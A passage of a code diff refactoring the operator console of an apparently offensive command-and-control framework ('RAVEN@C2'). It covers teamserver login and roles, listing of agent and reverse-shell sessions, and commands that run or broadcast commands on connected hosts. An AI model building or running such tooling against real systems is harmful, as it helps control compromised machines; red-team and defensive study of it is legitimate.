(!digits.isBlank()) { - int val = Integer.parseInt(digits); - if (val >= 20 && val <= 1000) return Math.max(40, val); + for (String Line : Output.split("\\r?\\n")) { + String Lower = Line.toLowerCase(); + if (Lower.contains("column") || Lower.contains("kolom")) { + String Digits = Line.replaceAll("[^0-9]", ""); + if (!Digits.isBlank()) { + int Value = Integer.parseInt(Digits); + if (Value >= 20 && Value <= 1000) return Math.max(40, Value); } } } - } catch (Exception ignored) {} + } catch (Exception Ignored) {} return null; } @@ -196,54 +196,86 @@ private int ContentWidth() { return Math.max(36, TermWidth() - FrameIndent.length() - 2); } - private String Indent(String text) { - return FrameIndent + text; + private String Indent(String Text) { + return FrameIndent + Text; } - private String Box(String title) { - int w = ContentWidth(); - int inner = Math.max(0, w - 2); - int padLeft = Math.max(0, (inner - title.length()) / 2); - int padRight = Math.max(0, inner - padLeft - title.length()); - String t = AnsiColor.White + "┌" + "─".repeat(inner) + "┐" + AnsiColor.Reset; - String m = AnsiColor.White + "|" + " ".repeat(padLeft) + AnsiColor.Green + title + " ".repeat(padRight) + AnsiColor.White + "|" + AnsiColor.Reset; - String b = AnsiColor.White + "└" + "─".repeat(inner) + "┘" + AnsiColor.Reset; - return "\n" + Indent(t) + "\n" + Indent(m) + "\n" + Indent(b); + private String Box(String Title) { + int Width = ContentWidth(); + int Inner = Math.max(0, Width - 2); + int PaddingLeft = Math.max(0, (Inner - Title.length()) / 2); + int PaddingRight = Math.max(0, Inner - PaddingLeft - Title.length()); + String HLine = "─"; + String VLine = "|"; + String ULLine = "┌"; + String URLine = "┐"; + String BLLine = "└"; + String BRLine = "┘"; + String Spaces = " "; + String NLine = "\n"; + String Top = AnsiColor.White + ULLine + HLine.repeat(Inner) + URLine + AnsiColor.Reset; + String Middle = AnsiColor.White + VLine + Spaces.repeat(PaddingLeft) + AnsiColor.Green + Title + Spaces.repeat(PaddingRight) + AnsiColor.White + VLine + AnsiColor.Reset; + String Bottom = AnsiColor.White + BLLine + HLine.repeat(Inner) + BRLine + AnsiColor.Reset; + return NLine + Indent(Top) + NLine + Indent(Middle) + NLine + Indent(Bottom); } - private String OutputBox(String output) { - int w = Math.max(34, ContentWidth()); - int inner = Math.max(0, w - 2); - int lineWidth = Math.max(1, inner - 2); - String label = "─ Output "; - String t = AnsiColor.Green + "┌" + label + "─".repeat(Math.max(0, inner - label.length())) + "┐" + AnsiColor.Reset; - String bot = AnsiColor.Green + "└" + "─".repeat(inner) + "┘" + AnsiColor.Reset; - StringBuilder sb = new StringBuilder(Indent(t) + "\n"); - for (String line : output.split("\n", -1)) { - String stripped = line.replaceAll("\u001B\\[[;\\d?]*[A-Za-z]|\u001B[=>]|\r", ""); - while (stripped.length() > lineWidth) { - String chunk = stripped.substring(0, lineWidth); - sb.append(Indent(AnsiColor.Green)).append("| ").append(AnsiColor.White).append(chunk).append(AnsiColor.Green).append(" |").append(AnsiColor.Reset).append("\n"); - stripped = stripped.substring(lineWidth); + private String OutputBox(String Output) { + int Width = Math.max(34, ContentWidth()); + int Inner = Math.max(0, Width - 2); + int LineWidth = Math.max(1, Inner - 2); + String Label = "─ Output "; + String HLine = "─"; + String VLine = "|"; + String ULLine = "┌"; + String URLine = "┐"; + String BLLine = "└"; + String BRLine = "┘"; + String Spaces = " "; + String NLine = "\n"; + String Top = AnsiColor.Green + ULLine + Label + HLine.repeat(Math.max(0, Inner - Label.length())) + URLine + AnsiColor.Reset; + String Bottom = AnsiColor.Green + BLLine + HLine.repeat(Inner) + BRLine + AnsiColor.Reset; + StringBuilder StrBuilder = new StringBuilder(Indent(Top) + NLine); + for (String Line : Output.split("\n", -1)) { + String Stripped = Line.replaceAll("\u001B\\[[;\\d?]*[A-Za-z]|\u001B[=>]|\r", ""); + while (Stripped.length() > LineWidth) { + String chunk = Stripped.substring(0, LineWidth); + StrBuilder.append(Indent(AnsiColor.Green)) + .append(VLine + Spaces) + .append(AnsiColor.White) + .append(chunk) + .append(AnsiColor.Green) + .append(Spaces + VLine) + .append(AnsiColor.Reset) + .append(NLine); + Stripped = Stripped.substring(LineWidth); } - int pad = Math.max(0, lineWidth - stripped.length()); - sb.append(Indent(AnsiColor.Green)).append("| ").append(AnsiColor.White).append(stripped).append(" ".repeat(pad)).append(AnsiColor.Green).append(" |").append(AnsiColor.Reset).append("\n"); + int Padding = Math.max(0, LineWidth - Stripped.length()); + StrBuilder.append(Indent(AnsiColor.Green)) + .append(VLine + Spaces) + .append(AnsiColor.White) + .append(Stripped) + .append(Spaces.repeat(Padding)) + .append(AnsiColor.Green) + .append(Spaces + VLine) + .append(AnsiColor.Reset) + .append(NLine); } - return sb.append(Indent(bot)).toString(); + return StrBuilder.append(Indent(Bottom)).toString(); } private String Divider() { - return Indent(AnsiColor.White + "─".repeat(ContentWidth()) + AnsiColor.Reset); + String HLine = "─"; + return Indent(AnsiColor.White + HLine.repeat(ContentWidth()) + AnsiColor.Reset); } private void ShowHelp() { System.out.println(Box("COMMAND REFERENCE")); System.out.println(); CLIBanner.Print(); - if (IsTeamMode && OperatorName != null) { + if (IsTeamServerMode && OperatorName != null) { System.out.println(); - System.out.printf(" %s[TEAMSERVER MODE]%s OPERATOR: %s%s%s Role: %s%s%s%n", AnsiColor.Red, AnsiColor.Reset, AnsiColor.White, OperatorName, AnsiColor.Reset, AnsiColor.White, OpRole != null ? OpRole.name() : "?", AnsiColor.Reset); - if (OpRole != null) System.out.printf(" %sPermissions:%s %s%n", AnsiColor.Red, AnsiColor.White, OpRole.PermissionString()); + System.out.printf(" %s[TEAMSERVER MODE]%s OPERATOR: %s%s%s Role: %s%s%s%n", AnsiColor.Red, AnsiColor.Reset, AnsiColor.White, OperatorName, AnsiColor.Reset, AnsiColor.White, OperatorRoles != null ? OperatorRoles.name() : "?", AnsiColor.Reset); + if (OperatorRoles != null) System.out.printf(" %sPermissions:%s %s%n", AnsiColor.Red, AnsiColor.White, OperatorRoles.PermissionString()); } System.out.println(); } @@ -255,9 +287,9 @@ private boolean TeamLogin(BufferedReader Reader) throws IOException { for (int Attempt = 1; Attempt <= 3; Attempt++) { System.out.printf(" %sUsername:%s ", AnsiColor.Red, AnsiColor.Reset); System.out.flush(); - String User = Reader.readLine(); - if (User == null) return false; - User = User.trim(); + String Username = Reader.readLine(); + if (Username == null) return false; + Username = Username.trim(); System.out.printf(" %sPassword:%s ", AnsiColor.Red, AnsiColor.Reset); System.out.flush(); String Pass; @@ -269,19 +301,19 @@ private boolean TeamLogin(BufferedReader Reader) throws IOException { Pass = Reader.readLine(); } if (Pass == null) return false; - if (!Db.ValidateOperator(User, TeamDatabase.HashPassword(Pass))) { + if (!Db.ValidateOperator(Username, TeamDatabase.HashPassword(Pass))) { System.out.printf(" %sInvalid credentials - Attempt %d/3%s%n%n", AnsiColor.Red, Attempt, AnsiColor.Reset); continue; } - OperatorName = User; - OpRole = Db.GetOperatorRole(User); - Db.UpdateLastSeen(User); - Logger.Info(" Operator login: " + User + " [" + OpRole + "]"); - System.out.printf(" %n%sWelcome, %s [%s]%s%n", AnsiColor.Green, User, OpRole, AnsiColor.Reset); - System.out.printf(" %sPermissions:%s %s%n%n", AnsiColor.Red, AnsiColor.White, OpRole.PermissionString()); + OperatorName = Username; + OperatorRoles = Db.GetOperatorRole(Username); + Db.UpdateLastSeen(Username); + Logger.Info("Operator login: " + Username + " [" + OperatorRoles + "]"); + System.out.printf(" %n%sWelcome, %s [%s]%s%n", AnsiColor.Green, Username, OperatorRoles, AnsiColor.Reset); + System.out.printf(" %sPermissions:%s %s%n%n", AnsiColor.Red, AnsiColor.White, OperatorRoles.PermissionString()); return true; } - System.out.printf(" %sAuthentication failed — exiting%s%n", AnsiColor.Red, AnsiColor.Reset); + Logger.Error("authentication failed - exit."); return false; } @@ -289,18 +321,18 @@ private void ShowSessions() { if (Server == null) { System.out.println(Box("ACTIVE SESSIONS")); System.out.println(); - System.out.println(" Running in cross-process mode — session list unavailable."); - System.out.println(" Use the primary operator terminal or webstart to view sessions.\n"); + Logger.Info("running in cross-process mode - session list unavailable."); + Logger.Info("use the primary operator terminal or webstart to view sessions.\n"); return; } List Sessions = Server.GetSessions().GetAll(); System.out.println(Box("ACTIVE SESSIONS")); System.out.println(); if (Sessions.isEmpty()) { - System.out.println(" No active sessions\n"); + Logger.Info("no active sessions"); return; } - System.out.printf(" %s%-5s %-14s %-14s %-16s %-10s %-10s %s%s%n", AnsiColor.Blue, "ID", "NAME/CERT", "TYPE", "IP", "OS", "USER", "SESSION-KEY", AnsiColor.Reset); + System.out.printf(" %s%-5s %-14s %-14s %-16s %-10s %-10s %s%s%n", AnsiColor.Blue, "ID", "NAME/CERT", "TYPE", "IP", "OS", "USER", "session-KEY", AnsiColor.Reset); System.out.println(Divider()); for (Session S : Sessions) System.out.printf(" %s#%-4d %-14s %-14s %-16s %-10s %-10s %s%s%n", AnsiColor.White, S.GetId(), S.GetDisplayName().length() > 14 ? S.GetDisplayName().substring(0, 13) + "-" : S.GetDisplayName(), S.GetSessionType().name(), S.GetAgentIp(), S.GetOs().length() > 10 ? S.GetOs().substring(0, 9) + "-" : S.GetOs(), S.GetUser(), S.GetSessionKey(), AnsiColor.Reset); System.out.println(); @@ -311,24 +343,24 @@ private void ShowStatus() { System.out.println(Box("SERVER STATUS")); System.out.println(); if (Server == null || !Server.IsRunning()) { - if (IsTeamMode && ServerStartTime != null) { - System.out.printf(" %sStatus %sONLINE (cross-process)%n", AnsiColor.Red, AnsiColor.Green); - System.out.printf(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); - System.out.printf(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Config.GetServerHost(), Config.GetServerPort()); - System.out.printf(" %sUptime %s%s (local session)%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); - System.out.printf(" %sSessions %s(N/A — cross-process)%n", AnsiColor.Red, AnsiColor.White); + if (IsTeamServerMode && ServerStartTime != null) { + System.out.printf(" %sStatus %sONLINE (cross-process)%n", AnsiColor.Red, AnsiColor.Green); + System.out.printf(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); + System.out.printf(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Config.GetServerHost(), Config.GetServerPort()); + System.out.printf(" %sUptime %s%s (local session)%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); + System.out.printf(" %sSessions %s(N/A - cross-process)%n", AnsiColor.Red, AnsiColor.White); } else { System.out.printf(" %sStatus %sOFFLINE%n", AnsiColor.Red, AnsiColor.Red); } } else { - System.out.printf(" %sStatus %sONLINE%n", AnsiColor.Red, AnsiColor.Green); - System.out.printf(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); - System.out.printf(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); - System.out.printf(" %sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); - System.out.printf(" %sSessions %s%d%n", AnsiColor.Red, AnsiColor.White, Server.GetSessions().Count()); + System.out.printf(" %sStatus %sONLINE%n", AnsiColor.Red, AnsiColor.Green); + System.out.printf(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); + System.out.printf(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); + System.out.printf(" %sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(Up)); + System.out.printf(" %sSessions %s%d%n", AnsiColor.Red, AnsiColor.White, Server.GetSessions().Count()); } - System.out.printf(" %sDB %s%s (%s)%n", AnsiColor.Red, AnsiColor.White, Db.IsConnected() ? "Connected" : "Memory", Config.GetDbType()); - if (IsTeamMode && OperatorName != null) System.out.printf(" %sOperator %s%s [%s]%n", AnsiColor.Red, AnsiColor.White, OperatorName, OpRole); + System.out.printf(" %sDB %s%s (%s)%n", AnsiColor.Red, AnsiColor.White, Db.IsConnected() ? "connected" : "memory", Config.GetDbType()); + if (IsTeamServerMode && OperatorName != null) System.out.printf(" %sOperator %s%s [%s]%n", AnsiColor.Red, AnsiColor.White, OperatorName, OperatorRoles); System.out.println(); } @@ -337,15 +369,15 @@ private void ShowStats() { System.out.println(); if (Server == null) { System.out.printf(" %sServer %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Config.GetServerHost(), Config.GetServerPort()); - System.out.printf(" %sTotal %s(N/A — cross-process mode)%n", AnsiColor.Red, AnsiColor.White); + System.out.printf(" %sTotal %s(N/A - cross-process mode)%n", AnsiColor.Red, AnsiColor.White); System.out.println(); return; } Map Stats = Server.GetSessions().GetStats(); - System.out.printf(" %sServer %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); - System.out.printf(" %sTOTAL %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("Total")); - System.out.printf(" %sRAVEN %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("RAVEN")); - System.out.printf(" %sRAW %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("REVERSE_SHELL")); + System.out.printf(" %sServer %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); + System.out.printf(" %sTOTAL %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("Total")); + System.out.printf(" %sRAVEN %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("RAVEN")); + System.out.printf(" %sRAW %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("REVERSE_SHELL")); System.out.println(); } @@ -353,11 +385,11 @@ private void ShowLogs() { System.out.println(Box("RECENT LOGS")); System.out.println(); if (Logs.isEmpty()) { - System.out.println(Indent(" No logs") + "\n"); + Logger.Info(Indent(" no logs") + "\n"); return; } int Start = Math.max(0, Logs.size() - 25); - for (int I = Start; I < Logs.size(); I++) System.out.println(Indent(Logs.get(I))); + for (int I = Start; I < Logs.size(); I++) Logger.Info(Indent(Logs.get(I))); System.out.println(); } @@ -374,7 +406,7 @@ private void ShowOperators() { System.out.printf(" %s%-18s %-14s %-24s %-20s%s%s%n", AnsiColor.White, Op.get("Username"), R.name(), "[" + R.ShortPerm() + "] " + R.PermissionString().replaceAll("^\\[.*?\\]\\s*", ""), Op.getOrDefault("LastSeen", "Never"), Mark, AnsiColor.Reset); } System.out.println(); - System.out.println(" " + AnsiColor.Red + "Roles:" + AnsiColor.Reset); + Logger.Info(AnsiColor.Red + "Roles:" + AnsiColor.Reset); for (OperatorRole R : OperatorRole.values()) System.out.printf(" %s%-14s%s %s%n", AnsiColor.White, R.name(), AnsiColor.Reset, R.PermissionString()); System.out.println(); } @@ -383,7 +415,7 @@ private void ShowChat() { System.out.println(Box("CHAT MESSAGES")); System.out.println(); if (ChatMessages.isEmpty()) { - System.out.println(" No messages\n"); + Logger.Info("no messages\n"); return; } String MyName = OperatorName != null ? OperatorName : ""; @@ -401,7 +433,7 @@ private void ShowChat() { private void SendChat(String To, String Message) { if (OperatorName == null) { - System.out.println("Not in team mode"); + Logger.Info("not in team mode"); return; } Map Entry = new LinkedHashMap<>(); @@ -417,10 +449,10 @@ private void SendChat(String To, String Message) { private void ShowChatHistory() { List> Logs = Db.GetChatLogs(100); - System.out.println(Box("CHAT HISTORY (DB — last 100)")); + System.out.println(Box("CHAT HISTORY (DB - last 100)")); System.out.println(); if (Logs.isEmpty()) { - System.out.println(" No chat history in database\n"); + Logger.Info("no chat history in database\n"); return; } List> Ordered = new ArrayList<>(Logs); @@ -441,8 +473,8 @@ private void ShowChatHistory() { private void DoExec(int SessionId, String Command) { if (Server == null) { - System.out.println(" Session commands unavailable in cross-process mode."); - System.out.println(" Use the primary operator terminal to exec commands."); + Logger.Warn("session commands unavailable in cross-process mode."); + Logger.Info("use the primary operator terminal to exec commands."); return; } String Op = OperatorName != null ? OperatorName : "operator"; @@ -450,27 +482,27 @@ private void DoExec(int SessionId, String Command) { boolean Ok = Boolean.parseBoolean(Result[0]); if (Ok) { System.out.println(OutputBox(Result[1])); - AddLog(AnsiColor.Green + "SESSION-" + SessionId + " OK" + AnsiColor.Reset, false); + AddLog(AnsiColor.Green + "session-" + SessionId + " OK" + AnsiColor.Reset, false); } else { - System.out.println("" + Result[1]); - AddLog(AnsiColor.Red + "SESSION-" + SessionId + " FAIL: " + Result[1] + AnsiColor.Reset, false); + Logger.Info("" + Result[1]); + AddLog(AnsiColor.Red + "session-" + SessionId + " FAIL: " + Result[1] + AnsiColor.Reset, false); } Db.SaveCommandLog(SessionId, Op, Command, Result[1], Ok); } private void DoBroadcast(List Ids, String Command) { if (Server == null) { - System.out.println(" Broadcast unavailable in cross-process mode."); + Logger.Info("broadcast unavailable in cross-process mode."); return; } String Op = OperatorName != null ? OperatorName : "operator"; System.out.printf("Broadcasting to %d session(s): %s%n", Ids.size(), Command); Map Results = Server.BroadcastCommand(Ids, Command); - System.out.println(Box("BROADCAST RESULTS — " + Results.size() + " sessions")); + System.out.println(Box("BROADCAST RESULTS - " + Results.size() + " sessions")); System.out.println(); for (Map.Entry En : Results.entrySet()) { boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - System.out.printf(" %sSESSION-%-3d %s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, En.getKey(), Ok ? "" : "", AnsiColor.Reset); + System.out.printf(" %ssession-%-3d %s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, En.getKey(), Ok ? "" : "", AnsiColor.Reset); System.out.println(OutputBox(En.getValue()[1])); Db.SaveCommandLog(En.getKey(), Op, Command, En.getValue()[1], Ok); } @@ -478,22 +510,22 @@ private void DoBroadcast(List Ids, String Command) { private void DoBroadcastAll(String Command) { if (Server == null) { - System.out.println(" Unavailable in cross-process mode — use primary operator terminal"); + Logger.Warn("unavailable in cross-process mode - use primary operator terminal"); return; } int Total = Server.GetSessions().Count(); if (Total == 0) { - System.out.println(" No active sessions"); + Logger.Info("no active sessions"); return; } String Op = OperatorName != null ? OperatorName : "operator"; - System.out.printf(" Broadcasting to all %d session(s): %s%n", Total, Command); + System.out.printf(" broadcasting to all %d session(s): %s%n", Total, Command); Map Results = Server.BroadcastAll(Command); System.out.println(Box("BROADCAST-ALL RESULTS")); System.out.println(); for (Map.Entry En : Results.entrySet()) { boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - System.out.printf(" %sSESSION-%-3d %s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, En.getKey(), Ok ? "" : "", AnsiColor.Reset); + System.out.printf(" %ssession-%-3d %s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, En.getKey(), Ok ? "" : "", AnsiColor.Reset); System.out.println(OutputBox(En.getValue()[1])); Db.SaveCommandLog(En.getKey(), Op, Command, En.getValue()[1], Ok); } @@ -502,15 +534,15 @@ private void DoBroadcastAll(String Command) { private void InteractiveSession(int SessionId) { Optional Opt = Server.GetSessions().Get(SessionId); if (Opt.isEmpty()) { - System.out.println(" Session not found"); + Logger.Warn("session not found"); return; } Session S = Opt.get(); System.out.println(Box("INTERACTIVE SESSION")); String AgentInfo = "%n %s[%s%s%s] %sID: %s%d %sUSER: %s%s@%s %sOS: %s%s %sARCH: %s%s %sIP: %s%s" + " %sTYPE: %s%s %sKEY: %s%s%s%n"; System.out.printf(AgentInfo, AnsiColor.Blue, AnsiColor.White, S.GetDisplayName(), AnsiColor.Blue, AnsiColor.Blue, AnsiColor.White, SessionId, AnsiColor.Blue, AnsiColor.White, S.GetUser(), S.GetHostname(), AnsiColor.Blue, AnsiColor.White, S.GetOs(), AnsiColor.Blue, AnsiColor.White, S.GetArch(), AnsiColor.Blue, AnsiColor.White, S.GetAgentIp(), AnsiColor.Blue, AnsiColor.White, S.GetSessionType(), AnsiColor.Blue, AnsiColor.White, S.GetSessionKey(), AnsiColor.Reset); - System.out.println(" Type 'back' to return"); - AddLog(AnsiColor.Blue + "Entered [" + S.GetDisplayName() + "] SESSION-" + SessionId + AnsiColor.Reset, false); + Logger.Info("type 'back' to return"); + AddLog(AnsiColor.Blue + "entered [" + S.GetDisplayName() + "] session-" + SessionId + AnsiColor.Reset, false); BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); CurrentSession = SessionId; while (CurrentSession == SessionId) { @@ -522,7 +554,7 @@ private void InteractiveSession(int SessionId) { Cmd = Cmd.trim(); if (Cmd.equalsIgnoreCase("back")) { CurrentSession = -1; - System.out.printf(" %sReturned%s%n", AnsiColor.Red, AnsiColor.Reset); + Logger.Info("returned to main console"); break; } if (Cmd.equalsIgnoreCase("clear")) { @@ -540,39 +572,39 @@ private void InteractiveSession(int SessionId) { private void KillSession(int SessionId) { Optional Opt = Server.GetSessions().Get(SessionId); if (Opt.isEmpty()) { - System.out.println(" Session not found"); + Logger.Warn("session not found"); return; } String Name = Opt.get().GetDisplayName(); Server.RemoveSession(SessionId); - System.out.printf(" SESSION-%d [%s] terminated%n", SessionId, Name); - AddLog(AnsiColor.Green + "SESSION-" + SessionId + " [" + Name + "] killed" + AnsiColor.Reset, false); + System.out.printf(" session-%d [%s] terminated%n", SessionId, Name); + AddLog(AnsiColor.Green + "session-" + SessionId + " [" + Name + "] killed" + AnsiColor.Reset, false); } private boolean CanManage() { - return !IsTeamMode || (OpRole != null && OpRole.CanManage()); + return !IsTeamServerMode || (OperatorRoles != null && OperatorRoles.CanManage()); } private boolean CanKick() { - return !IsTeamMode || (OpRole != null && OpRole.CanKickOperator()); + return !IsTeamServerMode || (OperatorRoles != null && OperatorRoles.CanKickOperator()); } private boolean CanExec() { - return !IsTeamMode || (OpRole != null && OpRole.CanExecute()); + return !IsTeamServerMode || (OperatorRoles != null && OperatorRoles.CanExecute()); } private void ServerEventHandler(EventType Type, Map Data) { switch (Type) { - case ServerStarted -> AddLog(AnsiColor.White + " Server listening on " + Data.get("Host") + ":" + Data.get("Port") + AnsiColor.Reset, true); - case AgentConnected -> AddLog(AnsiColor.Green + " [" + Data.get("AgentName") + "] SESSION-" + Data.get("ID") + " key: " + Data.get("SessionKey") + " (" + Data.get("OS") + ")" + AnsiColor.Reset, true); - case AgentDisconnected -> AddLog(AnsiColor.Red + " SESSION-" + Data.get("ID") + " disconnected: " + Data.get("Reason") + AnsiColor.Reset, true); - case AgentRemoved -> AddLog(AnsiColor.White + " SESSION-" + Data.get("ID") + " removed" + AnsiColor.Reset, false); + case ServerStarted -> AddLog(AnsiColor.White + " server listening on " + Data.get("Host") + ":" + Data.get("Port") + AnsiColor.Reset, true); + case AgentConnected -> AddLog(AnsiColor.Green + " [" + Data.get("AgentName") + "] session-" + Data.get("ID") + " key: " + Data.get("SessionKey") + " (" + Data.get("OS") + ")" + AnsiColor.Reset, true); + case AgentDisconnected -> AddLog(AnsiColor.Red + " session-" + Data.get("ID") + " disconnected: " + Data.get("Reason") + AnsiColor.Reset, true); + case AgentRemoved -> AddLog(AnsiColor.White + " session-" + Data.get("ID") + " removed" + AnsiColor.Reset, false); case Error -> AddLog(AnsiColor.Red + " Error: " + Data.get("Message") + AnsiColor.Reset, true); } } private boolean StartServer(String Host, int Port, ListenerMode Mode) { - if (IsTeamMode) { + if (IsTeamServerMode) { synchronized (SharedServerLock) { if (SharedServer != null && SharedServer.IsRunning()) { Server = SharedServer; @@ -587,10 +619,10 @@ private boolean StartServer(String Host, int Port, ListenerMode Mode) { if (IsPortBound(Host, Port)) { Logger.Info("Operator " + OperatorName + " attached to existing listener on " + Host + ":" + Port + " (cross-process, DB-only mode)"); ServerStartTime = Instant.now(); - AddLog(AnsiColor.White + " Attached to listener on " + Host + ":" + Port + " (session commands limited in cross-process mode)" + AnsiColor.Reset, true); + AddLog(AnsiColor.White + " attached to listener on " + Host + ":" + Port + " (session commands limited in cross-process mode)" + AnsiColor.Reset, true); return true; } - AddLog(AnsiColor.Red + " Failed to start server" + AnsiColor.Reset, true); + AddLog(AnsiColor.Red + " failed to start server" + AnsiColor.Reset, true); return false; } SharedServer = S; @@ -628,11 +660,11 @@ private static boolean IsPortBound(String Host, int Port) { } private void AddLog(String Msg, boolean PrintNow) { - String Ts = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")); - String Entry = "" + AnsiColor.Red + "[" + Ts + "]" + AnsiColor.Reset + " " + Msg; + String Times = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")); + String Entry = "[" + Times + "]" + Msg; Logs.add(Entry); if (Logs.size() > MaxLogs) Logs.remove(0); - if (PrintNow) System.out.println(Entry); + if (PrintNow) Logger.Info(Entry); } private void RunLoop() { @@ -641,9 +673,9 @@ private void RunLoop() { while (Running) { try { int Cur = Logs.size(); - String Prompt = " %n%s┌──(%sRAVEN@C2%s)%n%s└─%s>>%s "; + String Prompt = " %n%s┌──{%sRAVEN@C2%s}%n%s└─%s>>%s "; if (Cur > LastCnt) { - System.out.printf(" %s* %d New event(s) — type 'logs' to view%s%n", AnsiColor.White, Cur - LastCnt, AnsiColor.Reset); + Logger.Info(Cur - LastCnt + " " + "new event(s) - type 'logs' to view"); LastCnt = Cur; } System.out.printf(Prompt, AnsiColor.Red, AnsiColor.White, AnsiColor.Red, AnsiColor.Red, AnsiColor.White, AnsiColor.Reset); @@ -653,10 +685,10 @@ private void RunLoop() { String Cmd = Parts[0].toLowerCase(); switch (Cmd) { case "exit", "quit" -> { - System.out.printf(" %s* Shutting down...%s%n", AnsiColor.White, AnsiColor.Reset); + Logger.Debug("shutting down server"); Running = false; - if (IsTeamMode && SharedServer != null && SharedServer == Server) { - Logger.Info("TeamServer session ended — server remains active"); + if (IsTeamServerMode && SharedServer != null && SharedServer == Server) { + Logger.Info("teamserver session ended - server remains active"); } else if (Server != null && Server.IsRunning()) { Server.StopServer(); } @@ -681,38 +713,38 @@ private void RunLoop() { } case "use" -> { if (Parts.length < 2) { - System.out.println(" Usage: use "); + Logger.Info("usage: use "); continue; } try { InteractiveSession(Integer.parseInt(Parts[1])); LastCnt = Logs.size(); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "exec" -> { if (!CanExec()) { - System.out.println(" Insufficient permissions"); + Logger.Warn("insufficient permissions"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: exec "); + Logger.Info("usage: exec "); continue; } try { DoExec(Integer.parseInt(Parts[1]), Parts[2]); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "broadcast" -> { if (!CanExec()) { - System.out.println(" Insufficient permissions"); + Logger.Warn("insufficient permissions"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: broadcast "); + Logger.Info("usage: broadcast "); continue; } String IdsOrAll = Parts[1].toLowerCase(); @@ -725,140 +757,140 @@ private void RunLoop() { try { Ids.add(Integer.parseInt(S.trim())); } catch (Exception Ign) {} - if (Ids.isEmpty()) System.out.println(" No valid session IDs"); + if (Ids.isEmpty()) Logger.Info("No valid session IDs"); else DoBroadcast(Ids, BCmd); } } case "kill" -> { if (Parts.length < 2) { - System.out.println(" Usage: kill "); + Logger.Info("usage: kill "); continue; } try { KillSession(Integer.parseInt(Parts[1])); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "addopt", "addoperator" -> { if (!CanManage()) { - System.out.println("ADMIN/SUPER required"); + Logger.Warn("ADMIN/SUPER required"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: addopt [SUPER|ADMIN|OPERATOR|MEMBER]"); + Logger.Info("usage: addopt [SUPER|ADMIN|OPERATOR|MEMBER]"); continue; } String[] Tok = Parts[2].split("\\s+", 2); String OpPass = Tok[0]; - String OpRole = Tok.length > 1 ? Tok[1] : "OPERATOR"; + String OperatorRoles = Tok.length > 1 ? Tok[1] : "OPERATOR"; if (Parts.length > 2 && Parts[2].contains(" ")) { String[] Split = Parts[2].split(" ", 2); OpPass = Split[0]; - OpRole = Split[1]; + OperatorRoles = Split[1]; } if (OpPass.length() < 8) { - System.out.println(" Password must be ≥ 8 chars"); + Logger.Warn("password must be ≥ 8 chars"); continue; } - OperatorRole R = OperatorRole.FromString(OpRole); - if (R == OperatorRole.SUPER && (this.OpRole == null || !this.OpRole.IsSuperAdmin())) { - System.out.println(" Only SUPER can create SUPER accounts"); + OperatorRole R = OperatorRole.FromString(OperatorRoles); + if (R == OperatorRole.SUPER && (this.OperatorRoles == null || !this.OperatorRoles.IsSuperAdmin())) { + Logger.Warn("only SUPER can create SUPER accounts"); continue; } if (Db.CreateOperator(Parts[1], TeamDatabase.HashPassword(OpPass), R)) System.out.printf(" Operator created: %s [%s] %s%n", Parts[1], R, R.PermissionString()); - else System.out.println(" Username already exists"); + else Logger.Warn("username already exists"); } case "delopt", "deleteoperator" -> { if (!CanManage()) { - System.out.println(" ADMIN/SUPER required"); + Logger.Warn("ADMIN/SUPER required"); continue; } if (Parts.length < 2) { - System.out.println(" Usage: delopt "); + Logger.Info("usage: delopt "); continue; } if (Parts[1].equalsIgnoreCase(Config.GetAdminUsername())) { - System.out.println(" Cannot delete admin"); + Logger.Warn("Cannot delete admin"); continue; } if (Db.DeleteOperator(Parts[1])) System.out.printf(" Deleted: %s%n", Parts[1]); - else System.out.println(" Operator not found"); + else Logger.Warn("operator not found"); } case "kick", "kickopt" -> { if (!CanKick()) { - System.out.println(" SUPER role required to kick operators"); + Logger.Warn("SUPER role required to kick operators"); continue; } if (Parts.length < 2) { - System.out.println(" Usage: kick "); + Logger.Info("usage: kick "); continue; } if (Parts[1].equalsIgnoreCase(Config.GetAdminUsername()) || Parts[1].equals(OperatorName)) { - System.out.println(" Cannot kick admin or yourself"); + 